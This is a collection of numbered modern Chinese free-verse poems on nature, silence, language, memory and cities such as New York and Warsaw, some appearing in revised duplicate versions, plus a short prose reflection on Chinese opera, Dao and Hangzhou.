才好一点点在最终失败的结果， 那路途又在其之上。那路的开头， 向着尽头，雾气腾腾，是一棵树。 人们如果不提及这些带来放松 心情的敲击，测量。落锤的时候， 他把全部的力气都使用，不得不如此 力气很大，力气在敲击的力气之中 瞬间成谜，成为了一种双重的回声 成为需要被不断敲击，而因此 落入永恒中的事物。落入了永恒。 树木衰败，白雪落下，事物 损坏。他用手拿起破旧的瓷碗 眼前是霜冻的土地，草茎歪斜。 这时候的歌曲在世界的表层之下， 但它们赞颂的是土壤。我们种植 随后以思虑而相距不远的那一个。 林中1009 《林中》 如果是真的，那么假如什么。 不真的一切为真的时，如果 落到了坚硬混凝土的， 在剧烈撞击中，脸庞先着地。 事先的死亡，为不能再下降， 所演奏沉闷的歌曲。前行 却继续，前行之中才好有错误。 前行中的人儿不是我， 也不是你。不是，我们 不会看着因果，孤零零的 如同飘荡的灵魂。无重量， 透明的塑料袋 和旧时候装满了食品，水果 正准备好接受它那，一个 丰盈的名字。 为此，时候的残酷和无情。 也为温软的带着劝慰的话语的 一次次，如拂过脸颊的微风。 在大地和楼宇之间，高高的 好来从大地抬升而空间空余了出来。 有那么一个恍息，生者纷纷往下看， 看到了投身而下的我们， 我们以错误的方式来解读一切， 像一个玻璃器皿，从楼上 因为与人并无二致而坠落。 野火1010 《野火》 在辽阔土地上面追逐着 声音古老的中国。 接着从那里，离开 之前稍作等待，带着 刚刚抵达这里，另外的一个人。 土地上只有同一缕风声， 无论它大与小，或者 微弱的源头，想要阻止时的无力， 它便有了，在我语言朗声独白的 因果中，一直行进。 朋友之间彼此分立，同时 在语言上面越来越贴近 你说着累了，想要休息一会 你慢慢的消失不见， 大地上面的村镇渐行渐远， 我借此才可以做出判断 我自己也渐行渐远。 我在无中最后努力的一把， 在山涧的流水旁边的洞窟里面， 用干树枝点燃了一堆火焰。 山坡1011 《山坡》 没有代表着完整 而把残缺赞美的诗章。 没有，我的目光 不会在一朵会让人想起你的 花朵上面过多的停留。 我会匆匆的路过一片 山坡上的花海，心中堆满了 对于你的琐碎的记忆 它们彼此碰撞，制造声响。 但如果不通过我， 就像你将存在于某一个地方 永恒的孤零零的，你会 因此在时间的凌乱里面，寄来一封信。 你会把信寄到这里。 我这样一具肉体， 是现实与虚幻的中间人 我这样一种划出了莫名边界的 行走，始终在气竭的危险的悬崖。 旭日巨大，为远 像一面不断敲击着而需要 听起来寂静的鼓。我时常 忽视了它们，即使被你以爱所刺激的亢奋。 如此，心存敬畏 对于死亡而言，我是一面遥远的鼓， 敲击着你的爱。 城市1012 《城市》 被丢出的事物的回声。 还没有结束，依然有着 我们眼睛的疲劳和寂静。 而我愿意从属于人类这个群体之中 庸庸碌碌的部分，不是 世俗的那一美丽，即使短暂的光芒 也会照亮我，切割了我的身影。 我愿意在街灯昏黄的孤独里面 作为另一盏而为徘徊者，他正在 大街上面。我想要盯紧眼前的事物， 在午夜，在深夜， 同样是异乡人的语言的凌乱 像他刚刚在下午抵达了这里 会在明天穿越过去。 天空1013 天空 《天空》 来的事物广阔，盛大。包括了 答案，满溢过了答案，这过度于 答案如水面上，包括了云层的阴影， 它自己，模糊的位置时常被人提及。 已经完成的事物，并不总与微小有关。 就像微小的事物并不会，一次次的 总是那一些生长着钩刺的，来把过路人 的衣裳挂住。过了一小会，或者我们 脑海里面存在着的对于此的回想，想象 一直持续到了夜晚。皮肤上面的伤痛感 已经消失。语言里面的刺痛是一种附庸。 我们也不需要夜的灯火，照亮简陋的屋舍。 垂思的越来越近的邻居，微小的事物， 如何在广阔下面，还没有结束的运动， 同样悄无声息的，在黑暗中，仿佛才为 寻找到了一线生机而感恩，感恩于天空 的这一行为我没有发现，我的眼睛一直 看着自身完善而丰富的天空，看着没有 降下语言的一切。天空一点点的暗淡下来 人类因此一点点的在微小的事物里面 误解一般的幸福。 夏天1014 夏天 《夏天》 夏天来了，或夏天去了。 遥远的地方寄送来炎热的讯息 给我这个嘴唇干裂的人。 弯腰，我会附下身子， 没有居所的人暂时与田野同在 不久之后墙壁隔开了它们 而问题因此解决。 如果没有一道墙壁， 更像是在说着，而说的不够 于是吟唱的话语的形象 是因为一道墙壁而回荡。 我居住于屋舍内， 房子外面是自然的田野。 我的心绪会从田野，通过小路 经过田垄，稻田 抵达我的房子。千百次了， 像我自己的回声也被我经过， 有时候我像一个给自己送信的人 在信件的抵达之前，我都熟悉于 那一个在夏天里写信的人， 我跟他的陌生只是在我恍然惊醒的一刻 发生了。 山谷1015 《山谷》 它的咆哮声，和同时它自己 第一次的，成为了那主角。 成为了之一，一部分 或者在四下无人的时候 那风儿也不会窥探， 我们寂寞的成为了它。 我们无可躲避的，在一个 山谷的凹陷，青藤和岩石， 荒芜的土地。它再次的找到了 我们，留下了困难重重于 和解的言语。土地上面布满了， 比浅滩，那代表着干旱的危机 还要更多的船只。有的， 还在轻微的划动，我们仰起头 在白天，黑夜的天空， 都找不到有关于河流的水波。 我们审视语言的形状， 是在褪去了痛苦之后。 那一新的形象不断的滋长， 那一讯息不断常新于 如同存在于山谷。 伴随一次次的遗忘， 发生为我所不能把握。 为我所承认如同难以接受的 痛苦的时刻，也同样的众多。 如果我以错误的方式表达和吟唱呢， 并且在简陋的窗户里面，这一 奇怪的想法，还不是错误 左右一个人，是如此的轻易，微不足道。 浣女1016 《浣女》 我有时候可以看见。 看，它在天平上面 有时等同于端坐或居住。 我已经不在原地了，时间 为什么不可以被动的作为 人类拥有的理由呢。 就像人类喟叹于时间历史的 漫长。像水，有时候在村子 外边，形象也来自于它。 我有时更多的在看见中看， 沉默的回还的旅途不仅仅漫长 保持耐心于你已经见过的事物。 但我也见过了流水，被一双手 掬起。浣女，搅动了水中更深的 姻缘。使得历史和时间都纷纷衰弱。 相比于我在看中看见，为不可停留 于其上的现代化的驻足。为这一想通 的人应该离开，紧随那一些进入城市的 农民，携带着他们的家眷，家具。 我在看中有时候盲目，我看河边的 那一颗柳树也没有眼睛。等同于 在看中看见，自己所遗忘的，雾气在 湖中如屏障升起，村民三缄其口 是什么在默默地守护着善良，美丽的 南方的浣女。 田野1017 《田野》 在———— 而不在逼问着我如此 微小的生灵。而 陷入的错误却要由我来 言说的必然。你瞧， 命运如此不公。 是排泄自己在言语，沿着 太阳光金色的光弧。 此刻，我多么厌恶我自己 为万物臣服如同失败着的透漏了 历史中的那一个隐觅的语言 刺客上升，身子骨瘦弱，盆地 闹起了饥荒，我被一个人悄悄地 b架。 面容1018 面容 《面容》 夏天为远， 是在对话里面， 测试到了的夏天。 沉默的愈加沉默 而暴露出来了的表情 之上——那作为更高 而它可以回答而因此沉默的 基底:那表情是如何的 从平静，到突然的惊异 努力的回到了平静实则是 一种虚假的表象。 是你，也是我。是你 自己走不出自己的 同时又一涉水而来如勇士一般， 让我习惯于因为爱而为 在你水一般的表象上面存在， 为旷野中隐隐传来的微弱的响声 像同一个道理， 像同一盏灯火 突然照亮，或者它 总是有充足的时间， 直到越过了黑暗中，人类的， 这里的，和你的，你沉默的 和我的语言。 直到它把那幽暗的一边也照亮。 田野1019 田野 《田野》 在———— 而不在逼问着我如此 微小的生灵。而 陷入的错误却要由我来 言说的必然。你瞧， 命运如此不公。 谁 不能代替我，我便 渴望着他。我将他渴望的 这语言，这语言的瞬息，短暂 我不想让谁代替我的， 总是它，这最后作为结尾的语言。 街道1020 《街道》 你， 会回来。直到你走入了 大街，拨开那些人群熙攘的语言。 一下子拨弄的很深，如同白天 突然因为，一颗钟表的滑坡而 面临了夜晚的危机。空荡荡的大街 没有一个人，开着门的店铺 和手工店，小饰品与餐馆，报废的 报亭，在人们的心中感叹的， 那无形的阴影，正徐徐升起。 这一天不能再具体了。当它属于了 别的事情，这一天由天空的云彩 和空荡荡的街道所组成。离开的人 该如何注视着，我心绪的表情。 因为另外一副面孔的注视，像它的 凝结而成，作为一种体验发生在 我的脸庞上面，从虚无那里，对于 这种逻辑，我无法用语言来表述。 清晨1021 《清晨》 而你是不一样的: 听够了与众不同的赞许的 不一样。一样于视作虚假 为真。这样，在略显仓促的 一天，在不确定性像水面的 浮萍，聚集在一个一天的黎明。 有人，按动了你的门铃。 你正在沉睡的边缘，努力的 醒来。院子外栽种着梧桐树， 槐树，空中形成了突然的伞， 大地投下来影子。如果它们 逝去，是逝去者之后的事物， 你沉睡在另一扇门的后面， 你是你自己的另一道虚影。 山野1022 《山野》 时间中，缝隙的微小。时间 指向了这里。忽而为它那巨大 而微小者的此刻，我仰望流星 穿过一个个彗星的天空。晴， 它，像大地上的生灵。突然 之间借走了人类的感知，忽然 为急速的行走的寻找已抵达了。 忽然的太具体了，我眼睛里面 就不安宁，理由和疑问同时存在。 作为新生者的这一困惑，直到它们 从对于他们所进行的观察，在行进 之中对于他们观察的那一具体，如同 路途上面的沉默。如同发生的时候， 沉默，或者便会由沉默必然掩映的 夜色起了（树木，庙宇，村庄，湖泊） 夜晚的蝴蝶1024 《夜晚的蝴蝶》 升起在它们自己过去足迹者。 振翅，展开了的也只是重复了 这一它们的动物。与我争夺着 这一由瞬息而因为远所产生的， 在我的脑海中，在山坳这一， 如同托盘中野生花卉般美丽。 以美丽的方式长满，落满了 我的嘴唇。缓解了我思虑被 牵扯而引起的痛感。紧接着， 我发现了，你。因为沉默而 不在于静止是停留在原地。 在于沉默而需要我，在于需要而 使得我在向你靠近的这一目的， 呵，夜色多么的深而幽静，紧接着 它那行程如同我宝贵的身体， 我已经因此找到了为琴弦者的 这一向着遗失的自己之它。或者 为拒持而这一边界实则只是大地上 由美丽的月光照着。因远而近， 因为缘由的夜的空白，因为别的 便是被暗指的琴弦，因为沉默中 有物，是更加的沉默，是行走， 是肉体，在沉默的沉默之中，靠 而亲近着。 山坡1025 《山坡》 我沉默，我在沉默之中同一 使用的那一个尝试，同时， 你能看到意外之中的祈愿， 我的手儿，像无辜的犯人 垂立在身体两侧。而它们， 往往是从出场次数而言 更多的配角。它们抚弄了 树叶和花朵，为钻木取火 随即这匆匆被掩埋的实情。 我的沉默的山坡并不沉默， 即使我沉默时，它便是 一个实体。我仔细的观察， 夜晚的光亮微弱，是否在其中 为发现而高歌的太早，在颓然 的意义和角度上面，顺着 这原本就倾斜的山坡。它的 意义裸露，它实体中美丽的 部分，白天是有可能被挖掘的 部分。 纽约1026 《纽约》 纽约今夜有雪，空中， 我随手抓取一片看了看。 确实是雪，更多溜走了。 需要多长时间，而单单 只需要一片雪花。我的手 就会和大地一样。是雪花 飘落的终点。并非在冬季 或者寒冷来的稍早之时， 举起的我的手多么的随意， 挺立在路边的标志物，以 偶尔和人类的疲乏身体为食。 天空中的雪花在我看来， 是洁白的，纯洁又无暇。 为了保持这种形象所承受的 人类的压力，我试图把其中的 一些人类劝住，沉默的时候 雪花已经下起来了，规劝于我 的无知，像雪花之中总有静止的人。 王昭君1027 《王昭君》 昭君出塞是多么可怕的事情呢。 对我而言， 我理解，我也无法理解 人类作为一个族群，作为单一的人 从相对北方而言一个从南往北的历程。 我仿佛看到了一个与我一样悲伤， 被汉民族，汉民族的胜利，高歌，失败 和夜里的篝火所围拢，保护又监视的年轻女子。 我太焦虑了，我 无法探究里面需要停留才可以深层次解读的事物。 我只是觉得她的年龄被这些无形又必然的 事物所规定。 她是那夜里整个民族有所转机，像黄河 需要一个转弯，变得平缓的必然要求。 甚至她因此祈求于我 祈求于一种现代性在时间上面只能 记录于此刻的篡改和荒诞。 多么美的姑娘， 人们叫她公主。 她并不需要一个很久以后焦虑的人儿来再次的 书写和审视。 我仿佛站在她所 迈出塞外那条游牧与农耕的线上 波纹荡起时的余波。更多的 我多么真实于到达我自己混乱不堪 难以平静的真实， 我只能考虑我自己， 我自己的衣食住行，我自己的明朝 昭君出塞的波及范围如此之广 她便如此沉默 无论好的还是坏的， 无论现代或者古代的一切， 都不及于，她第一次来到了塞北， 看到那辽阔又野蛮的草原时 纽约1028 纽约 《纽约》 纽约今夜有雪，空中， 我随手抓取一片看了看。 确实是雪，更多溜走了。 需要多长时间，而单单 只需要一片雪花。我的手 就会和大地一样成为了雪花 飘落的终点。并非在冬季 或者寒冷来的稍早之时， 举起的我的手多么的随意， 挺立在路边的标志物，以 偶尔和人类的疲乏身体为食。 天空中的雪花在我看来， 是洁白的，纯洁又无暇。 为了保持这种形象所承受的 人类的压力，我试图把其中的 一些人类劝住，沉默的时候 雪花已经下起来了，规劝于我 的无知，像雪花之中总有静止的人。 偶然1029 偶然 《偶然》 ”偶然”会被悬搁好久 像其他的事物，或者 这个其他事物就是它， 这个其他带着不幸的找到了它。 或者，它会因此是 一块快要抵住我舌头的石头。 但发声的部位很多， 有鼻孔，喉咙，声带，甚至于 同样不屑的目光，我与它 一样，它已经因此到达了我一次。 它也可以是实体的，但 从厌倦里面又紧接着离开。 这实体因此成谜，永恒的色彩 在背部和身边缭绕。 如果我没有说清，这便同样成谜， 对于我想要说的，“偶然” 且以文字来写下和表达， 在表达的同时，且快要逝去 是念出这个词语时候的声音 和联想。远方的一颗孤星 因为与我没有联系，而 隔着屋舍墙壁的产生了， 联系———我想要消除的。 居住1030 《居住》 我的思虑偶尔以，不理睬误解 的方式和更多的其他的方式 展开着。相当于我住在了这里。 心情放松，木头小凳子，马扎 蒲扇。脚步没有停止，偶尔 抬起来，在空中晃悠，来来回回。 脚底踩在无形的空气上面 为行走发生在空余时间的这一个 时刻，为此的证明那行走如果 依然在持续的存在呢。不同于 行走于大地那一种充满过去记忆 陷阱的行上面，如今正是那同一双 脚步，在它在大地上行走的时候， 形成的自我反驳也是道路的一部分。 啊。1031 《啊》 啊，这冬季般的脸的奇异， 这在我对面说话，声音沉闷 而嗡嗡嗡如同一只蜜蜂飞舞。 同一张脸，怎么可以说它自己。 它自己脸庞上面的那一些， 细小的部分。借助语言这个曲径 和沿途，身边那些树木与草丛， 直到我们一起在你的声音的 召集里面，来到了这里。接着 因此共同尴尬到仿佛无言的形象的 彼此想要立刻分立。让语言面对着 这种张开来了的冲突，以这种撕裂的 东西，语言只是一个倒影。但来源 却已经因为被你匆匆的抹去，我认定 你就是那一个。来源的寻找只是对于 遗忘的回忆，还没有结束。怀着这样 一种矛盾的心情，开始复杂起来了， 心怀着它始终在于大地上面的简单。 直到成为了一种信念，在前方，我们的 眼睛里面。我们一直盯着前方，问题 往往总是意外的出现在前方。 池塘2——1032 《池塘2》 方向上以南的，和那更远处。 清晨正在因为不去解释的梦， 而梦更加沉默的边缘。而醒来， 落在了最后的总是人类的良知。 甚至它因此有着了更加，惟妙 惟肖的形象:穿过了暮色里面的 紫竹林清幽的地带。当在昨天， 它是推杯至盏之后的最后之物， 它最后被推到了铁匠家里面， 放在了火炉上面，烘烤之后，接着 被尝试的锤子比任何以往都 次数众多的落了下来。新的一天 是一支带伤的手。我眺望遥远的 南方。一座座群山起伏，最初的 欢喜渐渐沦为了伤痛。我爬上这 一座座山势险恶的群山，从昨天 出发的人儿，喝了太多壮胆得酒 画虚无的人儿，从清晨的山巅 抚摸那同一片， 纽约1033 《纽约》 停滞的会变成， 像街灯一样，在路边不前。 事物却只能在无依无靠的 冷风里面作为事物。 这样的一个寒夜，窃窃私语的 纽约。挺着大肚子的黑人走过。 是否需要一种审判，没有应答。 没有包括我在内的人儿，多么 凸显的孤独，仅就是我们想要 在沉默之中走得更远。我听到 那深处，高大建筑落满了雪花， 道路尽头的树白色似圣诞树， 垃圾回收箱，对于尝试的嘲笑。 有时我全身猛然间一抖，意识到了 一切只是我遥远的幻觉。有另外的 一个人，即使他在纽约，同样审视 这些血缘，亲戚，朋友之类的微弱的 关系。 戏曲，道与杭州城1034 杭州 杭州城的核心是【戏】，我是说，以类似德里达们所东方传统那样一种向东方，远处眺望着的，偶尔他们也会收回了他们的目光，且这一传统始终存在，以至于对于帘慕生出影影绰绰感 ————既，“中国没有哲学”，是【道之于戏曲如何】的一个变式，道的这一庙堂之上的guan方回答，与【戏曲】这一凭借几千年农耕的生生死死湮灭与种植的最终凝聚，是如何的？ ————我甚至乐意于“一座杭州城”这样的表述，并且在于其仿佛为思，或者为诗的时候，那么 我们讨论的戏曲是什么呢？ 当人们谈论诗歌被忽视，越来越边缘化时，戏曲呢，毋宁说，这是高谈阔论里面的诗歌的农耕基础的丧失。而这恰恰是一个诗歌本身不可解的问题，如果让人们为此而着迷，有唐突感。那么，仿佛是在于唐突才可以借诗而谈起戏曲，并预示到了戏曲匆匆过客的后果。 ————毋宁说，这是历史传统把谈论与诗歌合二为一了。诗歌与谈论有着了密不可分的关系。 而其谈论的恰恰是——【戏曲，这一不可被谈论物】 跳出1035 《跳出》 我，又跳出一句。 那它回返般激荡起来的 浪花，我是那说话的 很大的声音。或者， 为这一错误的需要， 在于改正而使得，不满。 呵，为这不自知于自己无知的 第一个人。为这一疲乏，谁呢， 又不会去掩埋。在他那 匆匆将羞愧抹去的脸庞上面， 为这一始终为的是那正yi呢？ 流水1036 《流水》 我，是谁？随着说出， 如同流水，它也在一起流走。 失败，接着失望 而失败伴随着，这样无端的 揣着着什么，又有什么作用。 我随手拿起了一块， 如果是因为将要入水的石头 出自于它的颓然。我在林木 中行走，没有路，曾听到了 水声潺潺。在凌乱的森林 一般的心里面行走，身体 停在了溪水旁边，流水一次次 的冲走了行走的影子。 傍晚1037 《傍晚》 有那么多，那么 多的过去而将未来规定 过去普通的时日。它们的 美好，在我谈论的时候 已经找不到它们具体的位置。 离开者更深，对于这些 流动者，我无能为力。 对于静止的植物我为并不是 饱含了热情。有时候， 我爬到了，可以观测未来的 某一个故乡的山顶上面。 沉默和言语，在雾气中 对话着。越来越成为了一个秘密。 在太阳降落，仿佛一切就要 成为了事实。在我心中留下了 不可更改的烙印。对于流动者的 这一静止，意思的上升。徐徐 或者下降，也包括在了静物 植物，风，动物之中。或者意外 以至于，人这一边界，有时候 我觉得它，他，不过如此， 最后快要落山的太阳，照着我， 双重的影子，影子彼此掩埋了影子。 农村1038 《农村》 不能放松，那么宁静是什么 它在这样一个疑问之中，所 持有自己的双手为贫乏，它的 颤抖的时期像刻在了墙上的阴影 已经过去了，随着大自然中伟力 的尺度，太阳。那些美来自于手掌 因为无的发生而端起的时刻也随后 紧随而至。那么，这并不是沉默者 面对着了另外的某一同一的一个， 并不是仅仅在于言语如何去组织的 困难，在水面一般因为突然变幻而 存在了的室内水泥地面，大理石地面 上。我们突然觉得自己的嘴唇是冰冷 坚硬的。正在慢慢的在梦幻之旅于， 旅途越来越缓慢的部分。正在于此而 因而此才沉默。傍晚的室内，光线 暗淡，一切景物都在雾气蒙蒙中，光线 稀少的暗室了繁多的黑暗之光的正在 反射。或者那些物离开我们很远，它们 曾经很近，我们去过去的记忆里面寻找， 一无所获，垂思于脑海之中的那记忆一般 的感觉，当一无所获，有什么便以失望为 食，凝聚成水滴，从身体的树叶上，慢慢的 滴落。 农村1039 农村 《农村》 不能放松的恒久于宁静， 不愿意被叫出想象的名字， 你不是我向着身体上面，父母 乃至于亲戚的过渡或者行程， 不是你的语言我怎么可以在一条， 你不认识，而我仅仅尽力的回忆 在你的好奇的目光之中，期待着的 却也只能勉强的感到似有熟悉感。 这样，或者那样，不同的东西 或者相同的东西在让我们发现 直到在时间的尺规里面发现不同 我们的语言也一同到达，我们 因此忽视了我们已经手牵手，走在一起。 那么，室内的回声，就让它 无关于你我的永恒回荡的是一种 经过了你我徒劳的效果之后的本质。 为这一语言并不在于瞬息， 短暂停留的感觉，当我经过了 那间简陋的屋舍，生出。作为 单一的人而为什么而歌呢，这一 孤单的琴弦实则之为破旧，为这 不可再继续想象着的，当它那简陋 如同正对着旧日里人们的罪责， 或者对于我想要告知着的， 在最初路途的起点，我们眺望过 目光被群山阻挡，为从不抵达于错误 之处于罪责的，同样其他的迷途， 或者惺忪者的回来之后再次睁开了 自己的身体之眼，由它实则颓然的思 所笼罩，傍晚醒来者对于时间的不敬。 桃花1040 《桃花》 淹没了有关于自身为春天者的， 实则是我们的语言。我们自身 也翻腾不已，便语言。静默的 室内有了一条大河。我们逼退 了的桃花越来越深了，作为一 种回忆，浮现在眼前。作为生， 这生于身体，当我从这身体上 面离开，当主题于存在，又何况 室内这存在着的清晰烙印。为从 高歌者的不得不离开，如同桃花， 我熟悉那一朵桃花，我妄自菲薄时， 森林1041 《森林》 在密林中做久远的穿行，震颤心扉 实则，是你因为一些其他的事情而 分了心神。你的分了心神也是其他。 在不必要之中，看起来多么的无可 奈何的我们。平原的苔藓被露水一 点点的打湿，绿色的表面依然没有 表现出枯萎的迹象，平原已经不知 不觉间走到了尽头，眼前出现了没 有道路可寻的密林。我从未走进过 像这样广阔的密林，在秋天的冷风 中发出瑟瑟的沉闷声音，迎接来客 的人面庞冷峻，严酷。我心儿颤抖， 密林中如果并没有甩掉自己本质的 穿行的准备，我为失败而歌的并非 那一个心情苦闷的行为，在最终结 果之上的那一古老悠久历史，人文 荟萃，为从一个个肉体的逝去，作 为对这一死亡最后转身的慰祷，也 是思来自于它自己。我是那作为思 虑者的不得其解，森林中魂灵兜兜 转转，如同风，有时候它也会慢慢 的因为一个来客而平复了下来。 房子1042 《房子》 房间一面墙壁上的低窗，光线 照着，存在为缺，这一褪去 发生的时刻，也为光线所发生。 像沉闷的对话，室内进行。 就像它们就是我偷偷放进 了室内的事物，它们因此 感到了破坏一般的不满。 它们一直都存在的不满， 延续到这个时候，随后， 也会慢慢的归于平静。 我就像一间这样房子的 外表粗糙，里面的刻钟。 还没有被挪移进房子里面， 并且为此而歌。我的阴影 也为道路而歌。 秋雨1043 《秋雨》 这些雨在人的身体上面 阻隔的很深， 有时候在雨水里面 叫出来了的一个事物 就是了人，或者你正在 义无反顾的行走，撑着伞 那个事物正是你的影子。 雨水的一切看起来，颇有玄机。 或者大雨已经过，现在 是微雨。事物在你的身体上面 来回的动荡，你像一把 雨水中的伞，打开， 自己是湿润的，从自己的 心灵开始以干燥为起点的 一切，从这里开始的一切， 那另一面是朦胧的悲伤。 波折1044 波折 《波折》 是我吗？在似有悬疑一般， 如同看的大鸟，展开了 它的翅膀，在天空垂下。 似有悬疑的怎可安放于 水一般，形状上面的波折。 水面平静，人，在不远处。 看着此刻的人以沉睡的模样， 幻梦的水因为一戳就破，我 们匆匆的收回，时间的为此 而鸣的鼓声，传播的很远。这 超出了自身而使我颤抖不已的 东西，跟随于一直之我而我因 此万般无奈，但我的脸庞是 保持着满足的微笑。为纯真的 白云，那鸟儿，当它以目光的 方式浮略而过。 河西走廊1045 《河西走廊》 在于人的这一个 声音就慢慢的 是了思本身的路途上面的 是路途奇怪的本身。 于是，我推测到了空气 或者，刹时间， 在我手边为我所努力于的一个 矛盾，即使我仍旧还没有 解决掉它。它那声音依然孤独 ，没有对称而因此愤怒 在我简陋的小院子里面，在 墙角如同永恒的狱所，而乒乒乓乓 制造从我的心扉开始的噪音。 铁器与木头，匠人之老作为 亡故的坚强的理由，茁壮的肉身 在冷冰冰以戏谑于墙壁上面 那同样不再于说话的同一块照片了。 为此，我无从平复的心 我无从因为远而平复，那远而因此 原因于远的依然翻腾不止。 当随着暮色，傍晚的来临的眼睛里面的 目光。在我心内的这一同一的 太阳和月亮，在这一同一于我的心灵 太过于久远，而始终被敲击着。 我审视过我自己在缝隙里面 的走路。不同于步伐，随之而来是 语言。也不同于它们。相同的 那一些岁月，路途在漫漫黄沙的 河西走廊，空空无人的时候， 或者，一辆独木车离开了一个 人的手，即使不是这，去颂词的 时候，它（这里）因此而漫长的占有 了，因为语言而历史悠久，丰富的部分。 肢体1046 《肢体》 我为沉默不语 这时刻一般时刻的近邻。 为这已经是事实上面， 如同天空白雾昭昭的石头平台。 也绝非为突然之间，为从 努力于转变的突然，却显示了 自己在语言之中的庸俗。 为这同一件事，或者也 同时为了别的令人 心灵烦躁的事情，我的肢体 显得慌乱，不协调，双手 扒拉下来了一些，从头部上面的 如同记忆的凌乱的发丝。 言语为过去也为现在， 为未来者的此刻的并不孤单。 我推开了的那一个， 正是我所做的事情， 为渐渐的这一个，开始从记忆 作为了新的起点， 就像我的面前面对着另外的 一个人。为从熟悉，同情， 彼此哀愁的如此这般的， 是这一些困难。 河西走廊修改1047 《河西走廊》 在于人的这一个 声音就慢慢的 是了思本身的路途上面的 是路途奇怪的本身。 于是，我推测到了空气 或者，刹时间， 在我手边为我所努力于的一个 矛盾，即使我仍旧还没有 解决掉它。它那声音依然孤独 ，没有对称而因此愤怒 在我简陋的小院子里面，在 墙角如同永恒的狱所，而乒乒乓乓 制造从我的心扉开始的噪音。 铁器与木头，匠人之老作为 亡故的坚强的理由，茁壮的肉身 在冷冰冰以戏谑于墙壁上面 那同样不再于说话的同一块照片了。 为此，我无从平复的心 我无从因为远而平复，那远而因此 原因于远的依然翻腾不止。 当随着暮色，傍晚的来临的眼睛里面的 目光。在我心内的这一同一的 太阳和月亮，在这一同一于我的心灵 因被敲击着，而太过于久远，不停。 我审视过我自己在缝隙里面 的走路。不同于步伐，随之而来是 语言。也不同于它们。相同的 那一些岁月，路途在漫漫黄沙的 河西走廊，空空无人的时候， 或者，一辆独木车离开了一个 人的手，即使不是这，去颂词的 时候，它（这里）因此而漫长的占有 了，因为语言而历史悠久，丰富的部分。 睡眠1048 《睡眠》 我有意义的沉睡的很深。 也并不是简单的钟表，它 刻度在表盘上面的圆形的 移动的声响，那孤独的深处。 也不是那里，仿佛有一个 就快要来不及说出祷慰的 位置（可能就快要被雾气 所遮掩），直到，我带着 莫须有的神色:那很浅， 作为睡眠的边缘。在睡眠 里，泛起了波浪。他自己 看着，始终都存在。不可 找寻到的他，抚弄着属于他 的这一具体的情形，依然在 变化之中。有时候他猜疑 是否一切会结束，并且与 自己的感受有着什么关系。 华沙之夜1049 《华沙之夜》 是否是因为你呢。你语言 栅栏里面如屋舍一般的 沉默。当我带着自己的 物品悄悄离开，心情惴惴不安。 好像一个自己曾经书写过 的盗贼。并没有被太过潦草， 肤浅的道德所宽恕。是，正 越来越形象的纸张，距离 此地很遥远的东方，所形成的 狱所。所以，你停留而为了 勇气一般外貌的准备，你的 更深如同内心越来越 宁静于烦躁不安的矛盾，总是 一次次的因为时间在钟表盘上 指针一般行走的突然和必然， 而被揭开的命运因此让你 将二者:宁静与狂躁颠倒了。 如果纸张正是你遥远的命运， 如同另一面是水，这是我匆匆 因为没有了下文而写下的第二句。 如对于你而言说着的而言的情景 却因为夜晚的依然变幻，使得 我们自始至终都并不孤独。那一些 被面对着的它们，作为一个 在我们嘴唇里面，如同这最后的 终点之前的，是它们去到了一个 幽暗，黑暗的地方。地狱一般的 胜过了以地狱所做出的的解释和 表达。同样的月光，同样因为更深 而无法将一切颠倒做出修复而夜晚 因此在沉默的语言里面。现在， 一个年久失修的指针，破碎般的 正指向了包括它自己在内，而一切 的完整。一层层水的行成里面是 一座城市华沙一般名字的纠结， 再错误这一论断的常新的旁边 如同对于人这一尊重的在于了 夜晚的人的离开，作为从一个 其实我也自始至终都因为不了解 而熟悉的群体，从这一单一而复杂 它的诗言，米沃什，华沙人，为 未来的你的夜空可以看到的礼花 而惊叹，你的沉默，在黑色的庄重 的门口。 社戏1050 《社戏》 在所有的不断变幻里面 空气被排挤，宁静是一种 向着万物的屈服。即使 仅仅只是为这一言语 如同乐章一般将时间和 空间都占据了。我从你 塞满的手那里一并离开 回来的时候，再次想起了 离开时候我见过的那个 狭小的湖水，已经快要干涸。 我如同那一个说话的看客 这舞台上面，由粗布绸子 做的背景板，落满尘土的 木板坐的舞台踩起来吱嘎作响 它们以戏曲的歌声所驱赶的 是别的事情，作为因此而与我 是同一物的那一个，我们擦肩 而过，心灵都颤抖。样子都 平静如水，他们必然唱着一个 人有两副面孔的曲目，田野里面 的玉米杆，稻田中的稻穗如刀子 割开了一个无法逃跑的人，他 已经因为试图逃跑而需要诉诸 以行，行程南北方漫漫的惩罚。 城墙1051 《城墙》 我终日那筑墙者一般名谓的泥瓦 工人或师傅的不如就待在了它们那 修筑于自己而仅仅试图凭借着身体 的间接性而轻易的困难之中。如同 那不间断的昭令，经过了天边的霞 一般的监工无理呵斥而要求的。是否 这是一切，良心对于良心的空一般， 而仅当它那需要我去回忆和反思， 为这一观察于自己的不够而使得 我的身体，疼痛成了肉体的内部。 使得孤悬的心灵为没有一个原因， 而找不到它的那一直在于寻找着。 前面，已经出现了比语言和铁锄 料及还要在于从人的身体和双手 上而出现再次重复的鸿沟的情景。 是这一个为停止于填补，沟壑因 在于我们的自身实则已经化作了 那言说的对于它们试图解开的 语言的历史。历史一般为循环 而偷偷将肉体放入了的傍晚， 这也是我们的傍晚。已经因此而 快要匆匆的结束。包括那监工， 都使得为一切而气息，呼吸舒畅。 朝暮之花，眼前的地平线暮色昏沉。 为这一还没有被监工约束者的一切 如果放弃而得到了他们那问询 最起初处的底部。仿佛唯有一 永恒才可以在历史的回荡如人声 里面应答一般的存在。也是苦难 它还是自身里面总是被误解，因而 面带着辩解着的别的。直到，我 偶然从一朵艰难的土地之花中路过， 回来。如果我是一个为真理所迷惑， 语言的时代和历史的谈论，为这一因此 需要监视，视那它自己试图沉默不语 的作为理由的何不放弃呢。直接的略过 如同别的。这是一个贫乏的思，或者 直到它作为了我这样一个因此无法 作为那匠人而惩戒于对他们的尊重和 敬Y。我知道一切已经再次的常新，并且 当那把开始咽下了喉咙，没有说出者的说出 也绝非是未来的回答。仿佛同路于 言语的这一个越来越，已经因为人的 身体而神秘。————在这一神秘的 脆弱之上的一切，使得那推开了自身的 肉体之茁壮，坚强，使得那作为溢美之词 :一种回声在城墙的古老之逝而修且筑之中。 我在天明就来到这里，为工作而在傍晚 才再次的深入。为这离开之名，作为那 另外的一个，离开者的身影。作为那 与一切毫无相关者的，那时候我想起了 一些坚固灵魂般的神秘，另外的那一些 即使也可以以此称呼，表达。 哲学结束的个人看法1052 